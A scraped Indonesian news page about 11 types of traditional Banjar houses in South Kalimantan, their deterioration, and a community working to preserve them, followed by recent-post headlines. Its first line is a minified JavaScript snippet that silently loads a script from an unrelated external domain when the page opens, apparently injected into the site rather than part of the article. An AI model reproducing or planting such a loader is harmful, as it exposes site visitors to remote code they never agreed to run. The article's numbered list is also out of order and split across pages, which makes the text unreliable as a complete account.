(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tergerus Zaman, Ini Nasib 11 Jenis Rumah Adat Banjar


Saat ini sudah tidak ada lagi yang membangun rumah adat Banjar karena pembuatanya cukup rumit dan memakan biaya yang banyak, mengingat rumah Banjar ini terbuat dari kayu ulin yang harganya sangat mahal.

“Jika ada yang membangun rumah paling hanya sekedar berasitektur adat Banjar saja tidak lebih dari itu,” kata pemerhati khusus Rumah Adat Banjar ini.

2-Rumah Gajah Baliku (untuk saudara dan anak raja)

3-Rumah Gajah Manyusu (untuk warit raja/cikal bakal pengganti raja)

4-Rumah Balai Laki (untuk para punggawa mantra atau para prajurit)

5-Rumah Balai Bini (untuk puteri raja atau warga raja yang perempuan)

6-Rumah Palimasan (untuk ulama/tokoh masyarakat)

Dari observasi Komunitas Pecinta Rumah Banjar, saat ini terdapat kurang lebih 300 rumah adat Banjar yang tersebar di seluruh kabupaten/kota di Kalsel, tetapi setengahnya sudah tidak layak atau sudah dalam kategori rusak.

“Sebenarnya rumah adat Banjar ini terbilang sangat awet bisa bertahan lama tetapi jika ada yang menghuni, kalau kosong akan cepat rapuh dan rusak,” kata Rusman Efendi,

Rusman Effendi mengatakan, Komunitas Pecinta Rumah Adat Banjar selalu berupaya mengenalkan rumah adat banjar kepada masyarakat.

“Kita selalu giat melakukan promosi khususnya di facebook, jika ada rumah yang butuh bantuan kita akan viralkan videonya hingga pemerintah akan turut membantu,” ujarnya. Tidak hanya melalui sosial media dan media massa, tetapi melalui pengenalan miniatur rumah adat Banjar karena para komunitas pecinta rumah Banjar ini juga sebagai pengrajin miniatur rumah adat Banjar.

Bagi anda yang ingin mengetahui lebih banyak adat banjar yang legendaris, bisa langsung menengoknya di Teluk Selong, kurang lebih 3,2 Km dari kota Martapura. Rumah Adat Banjar Gajah Baliku dan Bubungan Tinggi. Rumah Adat ini dibangun oleh HM Arif dengan istrinya bernama Hj Fatimah pada tahun 1811 M. (asriyani)

7-Rumah Cacak Burung (untuk petani)

8-Rumah Tadah Alas (untuk rakyat biasa)

9-Rumah Anjung Surung (untuk para petani / rakyat biasa)

10-Rumah Bangun Gudang (untuk para pedagang kebanyan dari tionghoa)

11-Rumah Palimbangan (untuk para saudagar)

 

Reporter : Asriyani
Editor : Abi Zarrin Al Ghifari

Page: 1 2

Desy Arfianty

Recent Posts

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

1 hari ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

2 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

2 hari ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

PLN UP2B Kalbar Siaga 24 Jam Jaga Keandalan Listrik Selama Nataru

KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More

2 hari ago

Polres Banjarmasin Sita Sabu 1,4 Kg dari Bandar di Sungai Paring Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Menutup tahun 2025, Polres Kota Banjarmasin mengungkap kasus peredaran narkotika berupa 1… Read More

2 hari ago

This website uses cookies.